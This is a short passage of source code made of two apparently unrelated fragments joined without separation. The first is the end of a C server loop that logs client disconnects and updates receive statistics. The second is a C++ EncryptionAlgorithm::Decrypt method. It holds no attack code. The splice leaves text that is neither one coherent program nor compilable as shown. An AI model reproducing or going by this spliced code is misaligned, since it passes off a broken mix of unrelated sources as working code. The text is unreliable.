				mprintf(LERROR, "Client #%d disconnected", uid);
				continue;
			}

			// update statistics data
			stat.total_recv += len;
			stat.total_pkgrecv++;
			output_info();
		}
	}
	return 0;
}
	void EncryptionAlgorithm::Decrypt (const BufferPtr &data) const
	{
		Decrypt (data, data.Size());
	}